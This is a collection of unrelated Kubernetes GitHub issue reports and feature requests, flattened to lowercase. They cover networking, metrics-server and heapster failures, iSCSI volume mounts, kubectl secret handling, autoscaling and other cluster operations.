i have a discover service that take the ip and port. now the ip and port that my discovery takes is the container ip. not my host and node port. the auth with the discover server is doing when i create the pod not with my service ip. i need change the sign of my container service. because when my discover server try to find the container service,  search with the container ip, and said it does not exist, not with my cluster and nodeport ip . i need a way to out with my nodeport, for find from my discover the container.\r \r how can i do it?

i have installed the latest version of kubectl 1.12  kubeadm kubernetes-cni kubelet\r @kubernetes/sig-contributor-experience-\r   \r    \r   \r  also, my machine is ubuntu 16.04\r \r when i do kubectl top node i'm getting\r error: metrics not available yet\r \r also\r the output of\r \r kubectl get deployment -n kube-system metrics-server -o yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r annotations:\r deployment.kubernetes.io/revision: \ 1\ \r creationtimestamp: 2018-10-01t08:07:33z\r generation: 1\r labels:\r k8s-app: metrics-server\r name: metrics-server\r namespace: kube-system\r resourceversion: \ 9507\ \r selflink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/metrics-server\r uid: 0d00d390-c551-11e8-990b-005056b604df\r spec:\r progressdeadlineseconds: 2147483647\r replicas: 1\r revisionhistorylimit: 10\r selector:\r matchlabels:\r k8s-app: metrics-server\r strategy:\r rollingupdate:\r maxsurge: 1\r maxunavailable: 1\r type: rollingupdate\r template:\r metadata:\r creationtimestamp: null\r labels:\r k8s-app: metrics-server\r name: metrics-server\r spec:\r containers:\r - image: k8s.gcr.io/metrics-server-amd64:v0.3.0\r imagepullpolicy: always\r name: metrics-server\r resources: {}\r terminationmessagepath: /dev/termination-log\r terminationmessagepolicy: file\r volumemounts:\r - mountpath: /tmp\r name: tmp-dir\r dnspolicy: clusterfirst\r restartpolicy: always\r schedulername: default-scheduler\r securitycontext: {}\r serviceaccount: metrics-server\r serviceaccountname: metrics-server\r terminationgraceperiodseconds: 30\r volumes:\r - emptydir: {}\r name: tmp-dir\r status:\r availablereplicas: 1\r conditions:\r \r lasttransitiontime: 2018-10-01t08:07:33z\r lastupdatetime: 2018-10-01t08:07:33z\r message: deployment has minimum availability.\r reason: minimumreplicasavailable\r status: \ true\ \r type: available\r observedgeneration: 1\r readyreplicas: 1\r replicas: 1\r updatedreplicas: 1

follow-on from  5497.  see detailed requirements and rationale there.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i use the standalone-cinder-provisioner and the backend storage is iscsi,the pv and volume can dynamic created,but the device can not attached the k8s minion\r \r the standalone-cinder-provisioner pod yaml use the web :https://github.com/kubernetes/cloud-provider-openstack/blob/master/manifests/provisioner/deployment.yaml\r \r and the pod running:\r kube-system standalone-cinder-provisioner-7c4649c886-5x6x6 1/1 running 7 5d5h\r \r  root@hpa-vm:/home/ubuntu/jlx $ kubectl get pv\r name capacity access modes reclaim policy status claim storageclass reason age\r pvc-1dff02aa-3140-11e9-bde3-002dc92800b3 1gi rwo delete bound kube-system/keystone-sc-pvc standard 6d4h\r \r the pv infomation:\r  root@hpa-vm:/home/ubuntu/jlx $ kubectl get pv pvc-1dff02aa-3140-11e9-bde3-002dc92800b3 -o yaml\r apiversion: v1\r kind: persistentvolume\r metadata:\r annotations:\r cindervolumeid: c6daa97f-0bc7-4e8a-879d-1800ba51264a\r pv.kubernetes.io/provisioned-by: openstack.org/standalone-cinder\r standalonecinderprovisioneridentity: openstack.org/standalone-cinder\r creationtimestamp: \ 2019-02-15t16:38:33z\ \r finalizers:\r \r     external-provisioner.volume.kubernetes.io/finalizer\r     kubernetes.io/pv-protection\r     name: pvc-1dff02aa-3140-11e9-bde3-002dc92800b3\r     resourceversion: \ 5776760\ \r     selflink: /api/v1/persistentvolumes/pvc-1dff02aa-3140-11e9-bde3-002dc92800b3\r     uid: 225064bd-3140-11e9-bde3-002dc92800b3\r     spec:\r     accessmodes:\r     readwriteonce\r     capacity:\r     storage: 1gi\r     claimref:\r     apiversion: v1\r     kind: persistentvolumeclaim\r     name: keystone-sc-pvc\r     namespace: kube-system\r     resourceversion: \ 5776739\ \r     uid: 1dff02aa-3140-11e9-bde3-002dc92800b3\r     iscsi:\r     initiatorname: iqn.2018-01.io.k8s:a13fc3d1cc22\r     iqn: iqn.2099-01.cn.com.zte:usp.spr11-74:4a:a4:01:fd:54\r     iscsiinterface: default\r     lun: 1\r     targetportal: 19.19.19.252:3260\r     persistentvolumereclaimpolicy: delete\r     storageclassname: standard\r     volumemode: filesystem\r     status:\r     phase: bound\r \r  root@host-12-12-12-30 standalone   kubectl get po --all-namespaces -w \r namespace     name                                             ready   status              restarts   age\r default       iscsi-standalone                                 0/1     containercreating   0          2s\r \r  root@host-12-12-12-30 standalone   kubectl describe pod iscsi-standalone \r name:               iscsi-standalone\r namespace:          default\r priority:           0\r priorityclassname:  <none>\r node:               12.12.12.30/12.12.12.30\r start time:         tue, 26 feb 2019 17:15:19 +0800\r labels:             <none>\r annotations:        <none>\r status:             pending\r ip:                 \r containers:\r   iscsi:\r     container id:   \r     image:          gcr.io/google_containers/nginx:1.7.9\r     image id:       \r     port:           <none>\r     host port:      <none>\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-frzl8  ro \r       /var/www/html from mypd  rw \r conditions:\r   type              status\r   initialized       true \r   ready             false \r   containersready   false \r   podscheduled      true \r volumes:\r   mypd:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  keystone-sc-pvc-storage13\r     readonly:   false\r   default-token-frzl8:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-frzl8\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:\r   type     reason                  age                   from                     message\r   ----     ------                  ----                  ----                     -------\r   normal   scheduled               4m48s                 default-scheduler        successfully assigned default/iscsi-standalone to 12.12.12.30\r   normal   successfulattachvolume  4m48s                 attachdetach-controller  attachvolume.attach succeeded for volume \ pvc-9121a7b1-39a5-11e9-b3a9-fa163e2d9049\ \r   warning  failedmount             30s  x10 over 4m40s   kubelet, 12.12.12.30     mountvolume.waitforattach failed for volume \ pvc-9121a7b1-39a5-11e9-b3a9-fa163e2d9049\  : open /sys/class/iscsi_host: no such file or directory\r   warning  failedmount             29s  x2 over 2m45s    kubelet, 12.12.12.30     unable to mount volumes for pod \ iscsi-standalone_default 096dfc21-39a7-11e9-bb03-fa163e2d9049 \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ iscsi-standalone\ . list of unmounted volumes= mypd . list of unattached volumes= mypd default-token-frzl8 \r \r   what you expected to happen  :\r the pod can running\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :k8s v1.13\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

trying to deploy a multi-az workers cluster i found that when i add the second zone using  kube_use_existing_master=true multizone=1 kubernetes_provider=aws kube_aws_zone=us-west-1b node_size=t2.small kubernetes_skip_download=true kube_subnet_cidr=172.20.1.0/24 master_internal_ip=172.20.0.9 num_nodes=1 kube_aws_instance_prefix=kubernetes-stag kube_enable_insecure_registry=true ./kubernetes/cluster/kube-up.sh  makes nothing,  admin@ip-172-20-1-138:~$ cat /etc/sysconfig/docker  docker_opts=\  -s aufs  --bridge=cbr0 --iptables=false --ip-masq=false --log-level=warn\  docker_nofile=1000000

the internal link is: http://goto.google.com/prkubekins/job/kubernetes-pull-build-test-e2e-gce//44196  the other \ not found\  link is https://console.cloud.google.com/storage/browser/kubernetes-jenkins/pr-logs/pull/26759/kubernetes-pull-build-test-e2e-gce/44196/  hopefully the internal link has some information, i can't view it to check.

we've defined a  service  that needs to be port-bound to the host-machine on a specific port, which is then associated with our elb. this  service  fronts a  deployment  that acts like our \ mesh\  router  which we call  edge-router  . when we  --export  a service, the  nodeport  we originally defined is dropped. upon re-import, it will be assigned some random  nodeport .    what - using  --export  with  kubectl get svc  causes  nodeport  to be dropped, even if it was explicitly set    expectation - using  --export  option should produce output that resembles original resource as submitted by using  kubectl apply  - if the original resource was created with an explicit  nodeport , the value should be preserved when using  --export     reproduction 1. create a new service called  foo  with an explicit  nodeport  defined 2.  apply  the  foo  service  3. run  kubectl get svc foo -o yaml --export  4. observe that the  nodeport  is missing

in network policy we define ingress from pod \r but i want from external ip.\r \r not sure how i can implement?\r \r note: i am using kubeadm 1.6.4 with canal cni with ingress controler & rbac\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r i can create hpa policy for statefulset but cannot scale the statefulset via kubectl.\r \r    \r root@pc001:~/istio-0.1.6  kubectl autoscale statefulset mysql --cpu-percent=50 --min=1 --max=10\r error: cannot autoscale a {apps statefulset}\r    \r   what you expected to happen  :\r \r i should be able to scale the statefulset via kubectl.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

we still have some un-recorded events on the servicecontroller : https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/service/servicecontroller.go l499 \r \r these events might be warnings that we miss recording, are we still doing these convertions ? @bowei @thockin

hi,\r \r it's just a feature proposition, \r \r it wouldn't be better to have the  current-context  in the current shell ?  like environment variable \r \r and create for exemple a  default-context  in the  .kube/config  file. \r \r because is very annoying when switching between multi-clusters to have all your shell in the same context. \r \r thanks.\r \r  maybe the question is already discuss, sorry if it's the case .

i am having troubles getting horizontal pod autoscaling to work on my k8s cluster on aws as it seems it is unable to retrieve metrics from heapster\r \r    yaml\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r i have heapster deployed and powering the kubernetes dashboard without issues. this is the heapster k8s manifest i have deployed\r \r    yaml\r apiversion: rbac.authorization.k8s.io/v1\r kind: clusterrolebinding\r metadata:\r   name: heapster-binding\r   labels:\r     kubernetes.io/cluster-service: \ true\ \r     addonmanager.kubernetes.io/mode: reconcile\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: clusterrole\r   name: system:heapster\r subjects:\r - kind: serviceaccount\r   name: heapster\r   namespace: kube-system\r ---\r   heapster's pod_nanny monitors the heapster deployment & its pod s , and scales\r   the resources of the deployment if necessary.\r apiversion: rbac.authorization.k8s.io/v1\r kind: role\r metadata:\r   name: system:pod-nanny\r   namespace: kube-system\r   labels:\r     kubernetes.io/cluster-service: \ true\ \r     addonmanager.kubernetes.io/mode: reconcile\r rules:\r - apigroups:\r   - \ \ \r   resources:\r   - pods\r   verbs:\r   - get\r - apigroups:\r   - \ extensions\ \r   resources:\r   - deployments\r   verbs:\r   - get\r   - update\r ---\r apiversion: rbac.authorization.k8s.io/v1\r kind: rolebinding\r metadata:\r   name: heapster-binding\r   namespace: kube-system\r   labels:\r     kubernetes.io/cluster-service: \ true\ \r     addonmanager.kubernetes.io/mode: reconcile\r roleref:\r   apigroup: rbac.authorization.k8s.io\r   kind: role\r   name: system:pod-nanny\r subjects:\r - kind: serviceaccount\r   name: heapster\r   namespace: kube-system\r ---\r ---\r apiversion: v1\r kind: serviceaccount\r metadata:\r   name: heapster\r   namespace: kube-system\r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: heapster\r   namespace: kube-system\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         task: monitoring\r         k8s-app: heapster\r     spec:\r       serviceaccountname: heapster\r       containers:\r       - name: heapster\r         image: gcr.io/google_containers/heapster-amd64:v1.4.0\r         imagepullpolicy: ifnotpresent\r         command:\r         - /heapster\r         - --source=kubernetes.summary_api:''\r         - --sink=influxdb:http://monitoring-influxdb.kube-system.svc:8086\r ---\r apiversion: v1\r kind: service\r metadata:\r   labels:\r     task: monitoring\r       for use as a cluster add-on  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons \r       if you are not using this as an addon, you should comment out this line.\r     kubernetes.io/cluster-service: 'true'\r     kubernetes.io/name: heapster\r   name: heapster\r   namespace: kube-system\r spec:\r   ports:\r   - port: 80\r     targetport: 8082\r   selector:\r     k8s-app: heapster\r    \r \r \r i have deployed an application with horizontal pod autoscaling. however i can see from the  describe hpa  command for that deployment that there are issues  with the hpa unable to get resource metrics as shown below:\r \r    yaml\r $ kubectl describe hpa --namespace=staging avro-schema-registry-hpa \r name:                                                     avro-schema-registry-hpa\r namespace:                                                staging\r labels:                                                   app=avro-schema-registry\r                                                           confluent-version=3.3.1\r                                                           env=staging\r                                                           version=0.11.0.1\r annotations:                                              kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ autoscaling/v2beta1\ ,\ kind\ :\ horizontalpodautoscaler\ ,\ metadata\ :{\ annotations\ :{},\ labels\ :{\ app\ :\ avro-schema-registry\ ,\ confluent-ver...\r creationtimestamp:                                        thu, 30 nov 2017 10:18:12 +0100\r reference:                                                deployment/avro-schema-registry\r metrics:                                                    current / target  \r   resource memory on pods   as a percentage of request :  <unknown> / 90%\r   resource cpu on pods   as a percentage of request :     <unknown> / 90%\r min replicas:                                             3\r max replicas:                                             7\r conditions:\r   type           status  reason                   message\r   ----           ------  ------                   -------\r   abletoscale    true    succeededgetscale        the hpa controller was able to get the target's current scale\r   scalingactive  false   failedgetresourcemetric  the hpa was unable to compute the replica count: unable to get metrics for resource memory: failed to get pod resource metrics: an error on the server  \ error: 'dial tcp 10.40.0.8:8082: getsockopt: connection timed out'\ trying to reach: 'http://10.40.0.8:8082/apis/metrics/v1alpha1/namespaces/staging/pods?labelselector=app%3davro-schema-registry%2cconfluent-version%3d3.3.1%2cenv%3dstaging%2cversion%3d0.11.0.1'\   has prevented the request from succeeding  get services http:heapster: \r events:\r   type     reason                        age               from                       message\r   ----     ------                        ----              ----                       -------\r   warning  failedgetresourcemetric       30s  x4 over 1h   horizontal-pod-autoscaler  unable to get metrics for resource memory: failed to get pod resource metrics: an error on the server  \ error: 'dial tcp 10.40.0.8:8082: getsockopt: connection timed out'\ trying to reach: 'http://10.40.0.8:8082/apis/metrics/v1alpha1/namespaces/staging/pods?labelselector=app%3davro-schema-registry%2cconfluent-version%3d3.3.1%2cenv%3dstaging%2cversion%3d0.11.0.1'\   has prevented the request from succeeding  get services http:heapster: \r   warning  failedcomputemetricsreplicas  30s  x4 over 1h   horizontal-pod-autoscaler  failed to get memory utilization: unable to get metrics for resource memory: failed to get pod resource metrics: an error on the server  \ error: 'dial tcp 10.40.0.8:8082: getsockopt: connection timed out'\ trying to reach: 'http://10.40.0.8:8082/apis/metrics/v1alpha1/namespaces/staging/pods?labelselector=app%3davro-schema-registry%2cconfluent-version%3d3.3.1%2cenv%3dstaging%2cversion%3d0.11.0.1'\   has prevented the request from succeeding  get services http:heapster: \r    \r \r i can curl some those urls from the k8s worker machines e.g. \r \r \r    yaml\r $ curl -vvv http://10.40.0.8:8082/apis/metrics/v1alpha1/namespaces/staging/pods?labelselector=app%3davro-schema-registry%2cconfluent-version%3d3.3.1%2cenv%3dstaging%2cversion%3d0.11.0.1\r     trying 10.40.0.8...\r   connected to 10.40.0.8  10.40.0.8  port 8082   0 \r > get /apis/metrics/v1alpha1/namespaces/staging/pods?labelselector=app%3davro-schema-registry%2cconfluent-version%3d3.3.1%2cenv%3dstaging%2cversion%3d0.11.0.1 http/1.1\r > host: 10.40.0.8:8082\r > user-agent: curl/7.47.0\r > accept:  / \r > \r < http/1.1 200 ok\r < content-type: application/json\r < date: mon, 11 dec 2017 02:00:33 gmt\r < content-length: 1535\r < \r {\r   \ metadata\ : {},\r   \ items\ :  \r    {\r     \ metadata\ : {\r      \ name\ : \ avro-schema-registry-6b5475fdcd-9x8gb\ ,\r      \ namespace\ : \ staging\ ,\r      \ creationtimestamp\ : \ 2017-12-11t02:00:33z\ \r     },\r     \ timestamp\ : \ 2017-12-11t02:00:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ containers\ :  \r      {\r       \ name\ : \ avro-schema-registry\ ,\r       \ usage\ : {\r        \ cpu\ : \ 1m\ ,\r        \ memory\ : \ 561496ki\ \r       }\r      },\r      {\r       \ name\ : \ istio-proxy\ ,\r       \ usage\ : {\r        \ cpu\ : \ 30m\ ,\r        \ memory\ : \ 40064ki\ \r       }\r      }\r      \r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ avro-schema-registry-6b5475fdcd-cwgnt\ ,\r      \ namespace\ : \ staging\ ,\r      \ creationtimestamp\ : \ 2017-12-11t02:00:33z\ \r     },\r     \ timestamp\ : \ 2017-12-11t02:00:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ containers\ :  \r      {\r       \ name\ : \ avro-schema-registry\ ,\r       \ usage\ : {\r        \ cpu\ : \ 1m\ ,\r        \ memory\ : \ 551252ki\ \r       }\r      },\r      {\r       \ name\ : \ istio-proxy\ ,\r       \ usage\ : {\r        \ cpu\ : \ 31m\ ,\r        \ memory\ : \ 40236ki\ \r       }\r      }\r      \r    },\r    {\r     \ metadata\ : {\r      \ name\ : \ avro-schema-registry-6b5475fdcd-d78gx\ ,\r      \ namespace\ : \ staging\ ,\r      \ creationtimestamp\ : \ 2017-12-11t02:00:33z\ \r     },\r     \ timestamp\ : \ 2017-12-11t02:00:00z\ ,\r     \ window\ : \ 1m0s\ ,\r     \ containers\ :  \r      {\r       \ name\ : \ avro-schema-registry\ ,\r       \ usage\ : {\r        \ cpu\ : \ 1m\ ,\r        \ memory\ : \ 542496ki\ \r       }\r      },\r      {\r       \ name\ : \ istio-proxy\ ,\r       \ usage\ : {\r        \ cpu\ : \ 32m\ ,\r        \ memory\ : \ 41296ki\ \r       }\r      }\r      \r    }\r    \r   connection  0 to host 10.40.0.8 left intact\r  }\r \r    \r \r however it doesnt work when i try from within another pod in the cluster\r \r    yaml\r root@kafka-connect-564599bcc9-4pqjg:/  curl -vvv http://10.40.0.8:8082/apis/metrics/v1alpha1/namespaces/staging/pods?labelselector=app%3davro-schema-registry%2cconfluent-version%3d3.3.1%2cenv%3dstaging%2cversion%3d0.11.0.1\r   hostname was not found in dns cache\r     trying 10.40.0.8...\r   connected to 10.40.0.8  10.40.0.8  port 8082   0 \r > get /apis/metrics/v1alpha1/namespaces/staging/pods?labelselector=app%3davro-schema-registry%2cconfluent-version%3d3.3.1%2cenv%3dstaging%2cversion%3d0.11.0.1 http/1.1\r > user-agent: curl/7.38.0\r > host: 10.40.0.8:8082\r > accept:  / \r > \r < http/1.1 404 not found\r < date: mon, 11 dec 2017 02:00:45 gmt\r   server envoy is not blacklisted\r < server: envoy\r < content-length: 0\r < \r   connection  0 to host 10.40.0.8 left intact\r    \r \r \r you can find the logs for my heapster deployment here: https://gist.github.com/charleslieferando/2a4768ce832a902a958e8dff6aba7113\r \r \r does someone know what might be the issue?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r    \r :; kubectl create secret tls tls-secret --cert <  ...   --key <  ...   -o yaml\r apiversion: v1\r data:\r   tls.crt: \ \ \r   tls.key: \ \ \r kind: secret\r metadata:\r   creationtimestamp: 2018-01-05t19:30:39z\r   name: tls-jenkins\r   namespace: default\r   resourceversion: \ 12677128\ \r   selflink: /api/v1/namespaces/default/secrets/tls-secret\r   uid: e95bfab7-f24e-11e7-bf77-0a695a1f84f0\r type: kubernetes.io/tls\r    \r \r the supplied cert and key are replaced with empty strings.\r \r   what you expected to happen  :\r \r the supplied cert and key are in the secret.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r this example uses openssl to generate a key and self signed cert, but any key/cert pair should suffice if openssl isn't available.\r \r    \r :; openssl req -x509  -new -batch -nodes -keyout demokey.pem -out democert.pem\r :; kubectl create secret tls tls-secret \\\r     --cert <  cat democert.pem   \\\r     --key <  cat demokey.pem   \\\r     -o yaml\r    \r \r the process substitution in this example is trivial and could be replaced with a direct reference to the file paths.  this is simplified for demonstration only.  in practice i want to use process substitution to pull the cert/key from other sources without using temporary files.\r \r   anything else we need to know?  :\r \r  strace  reveals the cert and key files being read twice.  of course this only works once when using a pipe/socketpair.  i suspect the   validate    function  https://github.com/kubernetes/kubernetes/blob/d0c4c5647f6ae683e55b5562e37fef7b7c54f72d/pkg/kubectl/secret_for_tls.go l136  is responsible for the first read.\r \r    \r  pid 17208  openat at_fdcwd, \ /dev/fd/63\ , o_rdonly|o_cloexec  = 3\r  pid 17208  epoll_ctl 4, epoll_ctl_add, 3, {epollin|epollout|epollrdhup|epollet, {u32=3001872240, u64=140401187811184}}  = 0\r  pid 17208  fcntl 3, f_getfl            = 0x8000  flags o_rdonly|o_largefile \r  pid 17208  fcntl 3, f_setfl, o_rdonly|o_nonblock|o_largefile  = 0\r  pid 17208  fstat 3, {st_mode=s_ififo|0600, st_size=0, ...}  = 0\r  pid 17208  read 3, \ -----begin certificate-----\ miid\ ..., 512  = 512\r  pid 17208  read 3, \ oxehxtftg+9cex9goaz6pgzeu8zressp\ ..., 1024  = 717\r  pid 17208  read 3, \ \ , 2355            = 0\r  pid 17208  epoll_ctl 4, epoll_ctl_del, 3, 0xc4207a748c  = 0\r  pid 17208  close 3                     = 0\r  pid 17208  openat at_fdcwd, \ /dev/fd/62\ , o_rdonly|o_cloexec  = 3\r  pid 17208  epoll_ctl 4, epoll_ctl_add, 3, {epollin|epollout|epollrdhup|epollet, {u32=3001872240, u64=140401187811184}}  = 0\r  pid 17208  fcntl 3, f_getfl            = 0x8000  flags o_rdonly|o_largefile \r  pid 17208  fcntl 3, f_setfl, o_rdonly|o_nonblock|o_largefile  = 0\r  pid 17208  fstat 3, {st_mode=s_ififo|0600, st_size=0, ...}  = 0\r  pid 17208  read 3, \ -----begin private key-----\ miie\ ..., 512  = 512\r  pid 17208  read 3, \ nyqvezzficc9ea6wkap5b0yudbux8jli\ ..., 1024  = 1024\r  pid 17208  read 3, \ s+vzoo5th8hwznhsipkjhjxshg1k0kui\ ..., 2048  = 168\r  pid 17208  read 3, \ \ , 1880            = 0\r  pid 17208  epoll_ctl 4, epoll_ctl_del, 3, 0xc4207a748c  = 0\r  pid 17208  close 3                     = 0\r  pid 17208  openat at_fdcwd, \ /dev/fd/63\ , o_rdonly|o_cloexec  = 3\r  pid 17208  epoll_ctl 4, epoll_ctl_add, 3, {epollin|epollout|epollrdhup|epollet, {u32=3001872240, u64=140401187811184}}  = 0\r  pid 17208  fcntl 3, f_getfl            = 0x8000  flags o_rdonly|o_largefile \r  pid 17208  fcntl 3, f_setfl, o_rdonly|o_nonblock|o_largefile  = 0\r  pid 17208  fstat 3, {st_mode=s_ififo|0600, st_size=0, ...}  = 0\r  pid 17208  read 3, \ \ , 512             = 0\r  pid 17208  epoll_ctl 4, epoll_ctl_del, 3, 0xc4207a7634  = 0\r  pid 17208  close 3                     = 0\r  pid 17208  openat at_fdcwd, \ /dev/fd/62\ , o_rdonly|o_cloexec  = 3\r  pid 17208  epoll_ctl 4, epoll_ctl_add, 3, {epollin|epollout|epollrdhup|epollet, {u32=3001872240, u64=140401187811184}}  = 0\r  pid 17208  fcntl 3, f_getfl            = 0x8000  flags o_rdonly|o_largefile \r  pid 17208  fcntl 3, f_setfl, o_rdonly|o_nonblock|o_largefile  = 0\r  pid 17208  fstat 3, {st_mode=s_ififo|0600, st_size=0, ...}  = 0\r  pid 17208  read 3, \ \ , 512             = 0\r  pid 17208  epoll_ctl 4, epoll_ctl_del, 3, 0xc4207a7634  = 0\r  pid 17208  close 3                     = 0\r    \r \r \r this looks similar to  56372, but the proposed fix appears to be specific to the kubeconfig management code.\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r > client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r > server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.5+coreos.0\ , gitcommit:\ b8e596026feda7b97f4337b115d1a9a250afa8ac\ , gittreestate:\ clean\ , builddate:\ 2017-12-12t11:01:08z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools:\r - others:\r

   what happened  :\r whenever a listener receives an error from its unerlying watch interface, it stops receiving events, even if the root cause is an intermitent network issue\r \r   what you expected to happen  :\r when a watcher reports an error and stops, just recreate one  reusing the latest received resourcerevision . this is doable as to build a shared informer, you don't give an existing watch interface, but a listerwatcher interface that can be used to recreate the watcher.\r \r   how to reproduce it  as minimally and precisely as possible   :\r azure aks has currently an annoying networking bug useful to reproduce the issue: idle tcp connections through their implementation of kube-proxy are dropped after ~10 minutes. so just setup any informer from a pod running in aks, and you'll experience the problem\r \r   anything else we need to know?  :\r our current workaround is to wrap the listerwatchers we use inside one that implements a kind of \ resilientwatch\   which implements watch.interface, and automatically re-issue a watch request on error \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.2  client and server, and client-go \r - cloud provider or hardware configuration: any\r - os  e.g. from /etc/os-release : any linux\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   http : request + response : enable brottli/zstd  :\r \r -  kubectl  list pods/secrets seem to take a little time\r -   brottli   https://github.com/google/brotli/tree/master/go  &   zstd   https://godoc.org/github.com/datadog/zstd  for golang is available\r - impact of enabling compression would be magnificent for site-operations / bot-operations\r \r   control-plane latencies  :\r - when performing routine health-checks on k8s workloads; api server is my source of truth\r - in developing economies - data is expensive; this feature would drastically enhance their experience of automation/manual api-server interactions\r \r 

we should create a vertical auto-sizer.  a vertical auto-sizer sets the compute resource limits and request for pods which do not have them set, and periodically adjust them based on demand signals.  it does not directly deal with replication controllers, services, or nodes.  related issues: -  2768 -  147 -  1629 -  10242  -   1899

is there any plans to support debian 8 in gce setup scripts? how can i build a debian 8 version of container-vm image? i have not found any scripts for building the container-vm images from raw debian images.

current run the  kubectl create -f ./pod.json  command  with pod file   current returns right away, but if not sure if it is done or if something wrong happens need to figure out how to inspect the state of the pods e.g.  kubectl get pod  pod_name   or  kubectl describe pod  pod_name   need to call   kubectl get services  pod_name   repeatedly until it is created  expect can make the call and keep the thread to receive information about the deployment  when ready, when fails, etc.

if  service  type is  nodeport , it would be desirable to specify the  nodeport  in command  kubectl expose .   example:  kubectl expose rc example-rc --type=nodeport --port=9000 --target-port=8080 --node-port=32001   if you define a  service  declaratively, in a  yaml  file, you use the field  spec.ports   .nodeport  to achieve it. but, if it is not possible to create a declarative  service , there is not a way to specify the  nodeport .

some project cannot afford to have one repository per each small feature.   so it would be very nice if on the volume type parameters/argument to allow to specify folder/s or file type to include, so it won't have to mount the entire repo with unnecessary data.  i.e.       volumes:   -name: some-volume     gitrepo:       repository: \ https://github.com/some_name/repo.git\        regex: \ some_filter_ .properties\        directory: \ configuration/templates\

concurrent runs of kubectl taint on the same node can end up clobbering one another because we update the  scheduler.alpha.kubernetes.io/taints annotation with the entire taints list through a merge patch.   i.e      console $ kubectl patch node e2e-test-beeps-master -p '{\ metadata\ :{\ annotations\ :{\ test\ :\  \\\ foo\\\ , \\\ bar\\\  \ }}}' $ kubectl patch node e2e-test-beeps-master -p '{\ metadata\ :{\ annotations\ :{\ test\ :\  \\\ foobar\\\  \ }}}'      will give you an annotation  \ test\ : \  foobar \   this is probably causing https://github.com/kubernetes/kubernetes/issues/29503 and https://github.com/kubernetes/kubernetes/issues/31066 because we run tests in parallel.   @kubernetes/sig-scheduling

it would be nice to have a command-line argument to increase the number of nodes we update at the same time. i have a 100,000 nodes cluster here, and it's taking about 12 days to complete. i would love to be able to select how many nodes can be updated at the same time.

hi guys,\r \r i want to test volume created directly in memory and i found very strange issue. due to some reason there is hard coded  probably  that if i want to create 10 gb volume in memory, i have to request 20 gb of memory. it is not a big problem for smaller volumes, but in case when i want to create 150 gb volume,i have to request 300 gb of memory. as you know memory is very costly, so there should be a possibility to choose how much memory we want request by removing bottom limit  50% .\r \r thanks,\r adam

